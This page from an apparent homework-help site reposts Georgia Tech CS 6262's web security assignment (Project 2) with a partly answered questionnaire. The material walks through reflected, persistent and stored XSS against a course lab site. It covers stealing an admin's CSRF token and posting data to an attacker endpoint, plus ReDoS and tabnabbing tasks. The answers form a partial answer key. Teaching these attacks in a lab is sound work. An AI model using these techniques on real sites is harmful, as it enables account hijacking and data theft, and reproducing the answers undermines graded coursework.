Chat with us, powered by LiveChat Project2 Advanced Web Security Summer 2023 - Writingforyou

Project2 Advanced Web Security Summer 2023

I need several questions based of these two documents please go through and let me know what you can do to help

Assignment Questionnaire ======================== NOTE: DO NOT DELETE –> and <–, and place your answers within the marks. Example: –> https://cs6262.gtisc.gatech.edu <– Info ==== Example: Your GT Username: kpark21 –>username Your Username: <– Task 1 (5%) ======= 1. Which of the following options can adjust iframe’s width and height correctly? A. <iframe src=”https://gatech.edu” width=”100%” height=”100%”></iframe> B. <iframe src=”https://gatech.edu” width=”100px” height=”100px”></iframe> C. <iframe src=”https://gatech.edu” style=”width:100%;height:100%”></iframe> D. All of above Example: Answer: A –>task_1_1 Answer: D <– 2. In order for the <a> tag to open a new tab/window when clicked, what value should you set for the target attribute? (The answer should only contain the value itself). This is necessary for task 5.3. Example: Answer: something –>task_1_2 Answer: _blank <– 3. You will see three alerts after running the code below. What numbers you will see in sequence? The answer should be 3 numbers separated by commas with no space, e.g. 1,1,1. Think about why that is the case. You will use this technique in task 5.2. for (var i = 0; i < 3; i++) { const promise = new Promise((resolve, reject) => { setTimeout(resolve, 1000 + i*1000) }); promise.then(() => alert(i)); } Example: Answer: 1,1,1 –>task_1_3 Answer: 3,3,3 <– 4. Which of the following can set jsScript to string correctly? Understanding how HTML code is parsed is important. This question is related to task 3. A <script>let jsScript=<script>a=2</script></script> B <script>let jsScript='<script>a=2</script>'</script> C <script>let jsScript='<script>a=2</script>'</script> D None of above Example: Answer: A –>task_1_4 Answer: C <– 5. Fetch is an api which makes use of promises to send web requests. It is supported by most major web browsers. Study the use of fetch api and try to make a POST request to your Message Receiver Endpoint with payload body being {username: your-GT-username}, e.g. {username: abc123}. What is the hash string you get after POSTing to your endpoint? Example: Answer: ahashstring1235… –>task_1_5 Answer: 11b85d6bc966d2d623800002efb58aa11248d519e4847ab03d24b5f965163f0f9ece4d2fb18505cf0b1d300fa80157847e031cc586986300e44ddf36cd7f7290 <– Task 2 (10%) ======= 1. What is the URL that you can use to exploit the reflected-XSS vulnerability? Example: URL: https://cs6262.gtisc.gatech.edu/vulnerable/endpoint/?payload –>task_2 URL: https://cs6262.gtisc.gatech.edu/search?keyword=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E <– Task 3 (15%) ======= 1. What is the URL that you can use to exploit the persistent-client XSS vulnerability? Example: URL: https://cs6262.gtisc.gatech.edu/vulnerable/endpoint/?payload –>task_3 URL: <– Task 4 (20%) ======= 1. What is the hash string you get as admin Example: Hash: 0c307979… –>task_4_1 Hash: <– 2. What is the endpoint to retrive the hash? Example: URL: https://cs6262.gtisc.gatech.edu/vulnerable/endpoint –>task_4_2 URL: <– 3. Your injected payload. The whole thing you submitted to the backend. It's ok to put it in multi-lines. Example: Payload : whatever <script> your code </script> whatever –>task_4_3 Payload: <– Task 5 (45%) ======= 1.1 What is the hash string you see by a successful ReDoS attack? Example: Hash: fdsaf23vcx3r23… –>task_5_1_1 Hash: ae77bdd49bf7a784d147bb7800ace68e5e0ba9c05a8b0b4b1edaa0af70042a9846213d2ed65fa576baeda43dad0aabf99c4eada6e6d319eb065a0afb4ce6cf4d <– 1.2. What is the username and password used for such a ReDoS attack? Example: Username: user Password: password –>task_5_1_2 Username: Password: <– 2. What are the local web server's IP addresses? Report them in the format of ip1,ip2,ip3,… Example: IP Addresses: 123.123.123.1,123.123.123.2,… –>task_5_2 IP Addresses: <– 3.1 What is the URL you used to launch a tabnabbing attack? Example: URL: https://cs6262.gtisc.gatech.edu/vulnerable/endpoint/?payload –>task_5_3_1 URL: <– 3.2 What is the hash string you see by a successful tabnabbing attack? Example: Hash: fdsaf23vcx3r23… –>task_5_3_2 Hash: <–

,

GT CS 6262: Network Security

Project 2: Advanced Web Security Summer 2023

We recommend the latest Google Chrome for this project!

Objectives 1. Attack a web application by exploiting its XSS vulnerabilities to infect its users as persistently as

possible. 2. Exploit the XSS to launch a social engineering attack to trick a simulated user to give up its

credentials. 3. Understand cookie management and how to secure your cookies.

Due Date You can find the due date and how to turn in your solution in the Canvas assignment.

Background As a student of CS6262, you are invited to join the web security club. This club has an official website for sharing information and resources. As a prospective member, you need to deliver a pen-testing report on the website and provide patches on what you find as a qualification test first.

The website is not complicated. It is a simple Content Management System with several features enabled, e.g. text search, dark mode, rich text editor, etc.

The website is https://cs6262.gtisc.gatech.edu. It integrates the GT Single-Sign-On service, so please sign in with your GT account and it will create a user for you.

Before getting your hands dirty Let’s first have a feel of what the website looks like. When you type cs6262.gtisc.gatech.edu in your browser (we recommend the latest Google Chrome), the image below is what you will get. It has two posts introducing its features. In the following instructions, you will be guided through the whole project.

GT CS 6262: Network Security

1. Sign in first. a. Click "Sign in", the blue button on the top right corner. It will redirect you to Georgia Tech’s login

page. b. After sign-in, you will be directed to the homepage. At the top right corner, you can see your

username and a dropdown list, which means you have successfully logged in. Read the post of "Dark Mode Goes Live" to figure out how to use the theme feature.

2. You should read all the existing posts to find clues of how to exploit the XSS vulnerabilities of the website.

3. The "My writeups" tab will only return your submissions which can be used to see your submitted posts for task 4.

4. The "Console" tab is the testing tab that will help you simulate other users and admins, receiving messages. And one task also resides in that page. This is useful when you need others to click on

GT CS 6262: Network Security your links. a. Message Receiver Endpoint

i. This section gives you an endpoint to send/receive messages. That is necessary for XSS attacks. Attackers usually steal cookies and send them to their endpoints. You should use the "POST" method to send messages to this endpoint. To view the received messages, click the link and refresh when you need to receive a new one.

ii. This endpoint will be used for task 4 and task 5.

b. The User/Admin instance's running status tells the current running admin role and user roles. You can at most create one admin role and one user role.

To trigger an XSS attack on the admin side, fill in the URL of your post and submit to the admin role. It will create or override the current running browser instance, which means when it’s messed up, you can submit a URL to override the current one.

To trigger an XSS attack on other users’ sides, fill in the URL of your malicious payload. The user instances also override the current one when you submit new URLs.

The admin instance will be used for task 4 and task 5.2. The user instance will be used for task 5.3.

c. The ReDoS section lets you practice application layer DoS.

i. The server is a simple username and password verification website. Your password should not contain the username, the whole string.When you are able to launch the ReDoS attack, another request to this page will not respond as it should in a very short

GT CS 6262: Network Security time interval. When your attack succeeds, you should be able to see a hash string in the result area. Note that the hash string is correct only when it is under a ReDoS attack.

ii. Bear in mind that toggle the ReDoS heartbeat when you see a hash string so you can copy and paste. Because the result is refreshed every 10 seconds.

iii. Check "Restart the ReDoS instance" to launch the ReDoS server again when you feel like the server is not responding to your submission.

d. The Information Theft section will show an input box when you are able to log in as an admin. As a regular user, you won’t be able to see this form. So, there are two approaches to access this form. However, it might be easier to go for approach 2.

Here are the two approaches. i. Login as admin by stealing admin’s session cookie. Unfortunately, the session cookie is

protected by the httpOnly flag which makes it invisible to JS. You may find other ways to steal this cookie. But, our server is well configured to prevent this.

ii. Post your username and submit the form directly as admin. The form is protected by CSRF. Think of ways to find out the endpoint to submit to, read the CSRF token and send the post request.

Tasks and Grading Rubric Note: Fill up the questionnaire and submit required files onto GradeScope.

Task 1. Basic HTML and JavaScript Test (5%) 1. In this section we will introduce a few basic HTML and JavaScript knowledge to help you with other

tasks. It is for practice purposes. There will be no points in this section.

1.1 DevTools Modern browsers will provide DevTools for front-end developers to debug and tune the performance when developing a website. Attackers can also use these tools to explore and collect information. Open your Chrome and press F12 to open the developer console. DevTools will popup. Here you can run JavaScript in the console, view the source html of the webpage, capture the network traffic, and other functionalities. Try to explore it by yourself.

1.2 console.log() console.log() is commonly used to print information into the console of the developer tools for debugging purposes. Open the devTool and type console.log("yourGTID"); You can see your GTID is printed in the console.

GT CS 6262: Network Security 1.3 setInterval setInterval is used to fire a function given a frequency. It will return an intervalID which can be passed to clearInterval to cancel the interval.

Question: Given a variable var counter = 5, make use of setInterval and clearInterval to reduce the counter to 0 in every second and then stop. You can run your code in devTools to verify.

var counter = 5;

// Your code below

1.4 setTimeout setTimeout will fire a function after the delay milliseconds. The function will only be fired once. Similarly you can use the returned timeoutID and clearTimeout to cancel the timeout.

Question: Given a variable var counter = 5, make use of setTimeout to reduce the counter to 0 in every second and then stop. You can run your code in devTools to verify.

var counter = 5;

// Your code below

1.5 Promise A Promise is an object used for async operations in JavaScript. There are three states in a Promise object: Pending, Fulfilled, and Rejected. Once created, the state of the Promise object is pending. So the calling function will not be blocked and continue executing. The Promise object will eventually be fulfilled or rejected. Then the respective resolve or reject function will be called. Below is an example of a Promise. Before running the code, can you tell what the output would be? Can you explain why?

let testPromise = new Promise((resolve, reject) => {

setTimeout(()=>resolve("Promise resolved"), 1000);

})

testPromise.then(message => {

console.log(message);

})

console.log("Calling function");

2. In this section, we will ask you 5 questions related to HTML and javascript. Each question contributes 1% of the total score. Please fill in your answers in the provided questionnaire.

2.1 <iframe> is an HTML element that allows the website to embed content from another website. The attacker can make use of XSS to dynamically create an iframe and load phishing content from the attacker's website. In task 5.3, you will be asked to load a remote page in an iframe in full screen. This question, however, just asks you how to adjust an iframe’s layout.

Which of the following options can adjust iframe’s width and height correctly? A) <iframe src="https://www.gatech.edu" width="100%" height="100%"></iframe> B) <iframe src="https://www.gatech.edu" width="100px" height="100px"></iframe> C) <iframe src="https://www.gatech.edu" style="width:100%;height:100%"></iframe> D) All of above

GT CS 6262: Network Security 2.2 In order for the <a> tag to open a new tab/window when clicked, what value should you set for the target attribute? (The answer should only contain the value itself). This is necessary for task 5.3.

2.3 You will see three alerts after running the code below. Put the output in sequence. The answer should be 3 numbers separated by commas with no space, e.g. 1,1,1. Think about why that is the case. You will use this technique in task 5.2.

for (var i = 0; i < 3; i++) {

const promise = new Promise((resolve, reject) => {

setTimeout(resolve, 1000 + i*1000)

});

promise.then(() => alert(i));

}

2.4 Which of the following can set jsScript as a string variable correctly? Understanding how HTML code is parsed is important. This question is related to task 3.

A) <script>let jsScript=<script>a=2</script></script> B) <script>let jsScript='<script>a=2</script>'</script> C) <script>let jsScript='<script>a=2</script>'</script> D) None of above

2.5 fetch is an Application Programming Interface (API) which makes use of promises to send web requests. It is supported by most major web browsers. Study the use of fetch API and try to make a POST request to your Message Receiver Endpoint with the payload body being {"username": "your-GT-username"}, e.g. {"username": "abc123"}. Then, check your message receiver endpoint again using your browser to see the response. It will be a hash string. Copy this string into the questionnaire.

FAQ Q. I submitted the hash I received from my endpoint, but the autograder said it was incorrect. What should I do? Please make sure that you have correctly set your username in the questionnaire.

Task 2. Exploit the Reflected-XSS (10%) Find where to exploit a reflected XSS and fill in the questionnaire URL by visiting which an alert should trigger.

Concept Review Reflective XSS is an attack where a website does not return requested data in a safe manner. Reflective is generally an XSS attack where the attacker sends the victim a link to a reputable website. BUT, this link contains malicious javascript code. For example, https://www.facebook.com/login?username=username&password=password<script>steal-your-informati on.js</script> If the website returns the data in an unsafe manner (does not sanitize the output) and the victim clicks on this link, then the malicious code will be executed in the context of the victim’s session.

Requirements The content of the alert doesn’t matter. For example,

GT CS 6262: Network Security https://cs6262.gtisc.gatech.edu/endpoint…yourpayload is what you need to fill in the questionnaire.

The autograder will visit your URL. If it detects an alert, then you will receive full credit.

Tips 1. You don’t need to log into the website to find this vulnerable point and exploit it. 2. All inputs are malicious! Look for where you can type and try it with some alerts.

Deliverables 1. A URL that includes the vulnerable endpoint and your alert payload. 2. The alert should show the domain as below.

Rubric

Your URL is able to trigger an alert 10%

Your URL fails to trigger an alert 0%

Task 3. Evolve to Persistent Client Side XSS (15%) After finding the exploitable place from task 2, you understand you can infect others by sending them links. But sending links is costly and people may not click on them every time.

Therefore, instead of sending a link required in task 2, you find you can actually modify the payload and let the payload live in this web app forever. As long as a user clicks on the link you send once, she is infected persistently unless the payload is cleared.

Concept Review After learning some types of XSS, you may think how I can make my attack as persistent as possible on the client's side if the website doesn’t have a Stored-XSS vulnerability exposed to regular users.

As Web technology evolves, more and more applications start to focus on user experience. More and more web applications, including cross platform Electron applications, are taking over desktop applications. Some user's non-sensitive data is now stored on the client-side, especially the look and feel preferences of an application, to let the App load faster by remembering the user's preferences without passing back small data chunks.

(You can learn more how prevalent this unsafe design is nowadays by reading the paper Don't Trust The Locals: Investigating the Prevalence of Persistent Client-Side Cross-Site Scripting in the Wild)

Then, the variable is read by an unsafe sink, e.g. eval, element.innerHTML(data). Inspect what is stored locally for the web application, cs6262.gtisc.gatech.edu, and how it is used.

Tools you may need: – F12 on the keyboard and go to Application tab to inspect the Storage as highlighted below

GT CS 6262: Network Security

– – The Application tab provides you with a quick look at what local data is stored. That includes local

storage, cookies, etc. – The Sources tab provides you with static resources, like scripts, HTML, and CSS files. That is the

place you should focus on debugging JS code.

Requirements Now, modify the payload in the link from task 2 and fill the updated URL in the questionnaire.

The autograder will first visit your URL (NO alert should pop up at this point). Then, it would close the page and reopen to trigger your payload to run (One alert should pop up). Next, it refreshes the page without retriggering your payload (Another alert should pop up). Again, it should detect the alert twice. It should not pop up an alert by only visiting your URL. (Namely, the alert should be triggered when the victim visits any page on this website after reopening.)

Tips 1. Read the post "Dark Mode" on the website. 2. You may need to log into the website to find the vulnerable point and exploit it. More details are

described on the website. 3. The vulnerability is exploitable even if the victim has not logged in. 4. In this task, you don’t need to submit a post yet, which is for task 4. 5. The default dark mode style sheet is "https://bootswatch.com/4/cyborg/bootstrap.min.css". You

can reset it if you feel the website is messed up. Or, you can go to the Application tab->Application->Storage->Clear site data to reset everything.

Some more Tips

1. Your URL should NOT trigger any alerts when visiting it directly. And, you don’t need to trigger your payload to execute in your exploit code. The autograder will do that for you. This task is trying NOT to draw the user’s attention (e.g. popups, alerts, and theme changing) when the user clicks on your URL. The alerts are for grading purposes.

2. If your payload doesn’t work when you think it should, you can inspect the HTML element it creates and see if there’s anything incomplete. Look for where it is consumed. You can set a debugger to step through the execution. https://www.w3schools.com/js/js_strings.asp may give a hint for those who cannot fix the syntax error of your payload.

3. Remember to leverage task 2's result to inject your payload. When the page reloads, your payload can be read and executed.

Deliverables 1. A URL that includes the vulnerable endpoint and your malicious payload.

GT CS 6262: Network Security

Rubric

1. Your URL is able to trigger an alert after reopen 7%

2. Your URL is able to trigger an alert after refresh 8%

Task 4. Exploit the Stored-XSS (20%) The website, https://cs6262.gtisc.gatech.edu, allows users to create articles. As a user, one needs to submit the post to a moderator who is the admin of the website for approval. This might be an interesting point to investigate whether you can inject something so when the admin is reviewing your post, thereby you can hijack the admin’s login session. This website uses a rich text editor which not only enables styled content but sanitizes the user's input while preserving its style.

In this task, you will submit a post with an injected payload that launches XSS attached to an admin user. Then, you need to steal some information that is only visible to an admin.

Concept Review Stored XSS is an attack where a website does not store data in a safe manner. An attacker could then store malicious code within the website's database. Said code could be executed whenever a user visits that website. So, a post for an admin’s approval seems like something you will be interested in. If you can steal the admin’s login session cookie, you can login as her to see what she can see.

Recall from the lecture that when a cookie has httpOnly, it is not exposed to the document object. This cookie cannot be accessed by JavaScript. What would you need to do to read information out as the cookie’s owner?

This httpOnly flag is a good way to prevent JavaScript from reading sensitive cookies. However, it doesn’t mean it can mitigate XSS attacks. Attackers, having malicious scripts running in the victim’s browser, are still able to send requests and forward the responses to themselves.

Even though the website is protected by CSRF tokens, attackers can still manage to post malicious payload pretending to be the user.

Requirements 1. Exploit the rich text editor to inject another XSS payload. Such payloads should NOT trigger an alert

for a successful exploit. Your payload SHOULD set a global variable window.gotYou=true for the autograder to read.

2. You will steal admin’s cookies such that you can log in as admin to generate your unique hash string. Or, if you cannot steal the session cookie, you need to find a workaround to get the hash still. You will need to use the Message Receiver Endpoint to receive the stolen information.

3. Please DO NOT put any comments in your final code submission. 4. Please put a semicolon at the end of each statement.

Workflow 1. Log into the website with your own credentials. 2. Inspect your session cookie to check if it has httpOnly set.

a. If not, an XSS payload can steal it, so you can log into the website as another one. b. If yes, you need to find another way to get the hash.

3. Create a new post and find the vulnerable point of the editor. The editor has two modes. a. "What you see is what you got" mode. Try to type in some inputs and see how the editor deals

with them.

GT CS 6262: Network Security b. "Code editing" mode. Try to type in some JS code with <script> tag and exit the mode. See how

the editor renders your input. 4. Submit a post that can trigger an alert. Go to "My writeups" to see if you can see the alert box. If

not, your payload or the way you exploit the editor is incorrect. 5. When you can exploit the editor successfully, submit a new post instead of triggering an alert. It

should issue an HTTP request to your HTTP server. A simple "fetch(‘https://your_endpoint_address/’, {method: ‘post’, body: ‘hi’})" will help you verify the correctness. Then, you should be able to see this after opening your endpoint in a new tab. In this way, you should be able to read data out of the website and send it to your HTTP endpoint.

6. Copy the post’s URL and submit it to your console page to start an admin instance. Make sure your payload works as you intended before proceeding to the next step.

7. Modify your payload so that you can fetch (and see) the admin’s console page 8. Look into the "Information Theft" section and its HTML source code. 9. Further modify your payload to steal the (credential) token and use it to send the request for getting

the hash. (This token will change on the admin’s next visit. It is not a good idea to hard-code a stolen token in your payload.)

10. If your attack is successful, the victim’s browser will acquire your hash. Your script may further extract this hash and forward it to your endpoint.

Tips 1. Read the post "WYSIWYG" on the website!

a. The editor would allow you to type HTML/JS code directly. And, it doesn’t sanitize them if you do it in the code editing mode directly. Remember to toggle the code editing button back to the rich text mode to make sure it takes effect.

2. If a session token is protected by httpOnly, JS code won’t be able to read it. But! The XSS payload will run in the admin’s browser. Technically, every HTTP request to the website issued by the payload could carry the admin’s credential cookies on the website.

3. You are told that the hash is obtained on the page "/console". Why not use the payload to send a request to "/console" to see what is invisible to regular users?

4. If you can find something interesting from the response, can you steal the CSRF token and send another request to the endpoint to get the hash string?

5. Remember that the admin’s token can only authenticate the admin’s request. 6. The token changes when the admin refreshes the console page. Try not to hardcode a stolen

credential in your payload.

Some more Tips

1. It’s better to use single quotes all the time as the whole payload will be interpreted as a string wrapped by a pair of double quotes, even though the autograder will replace all your double quotes with single ones.

2. You don’t need to request /console in your payload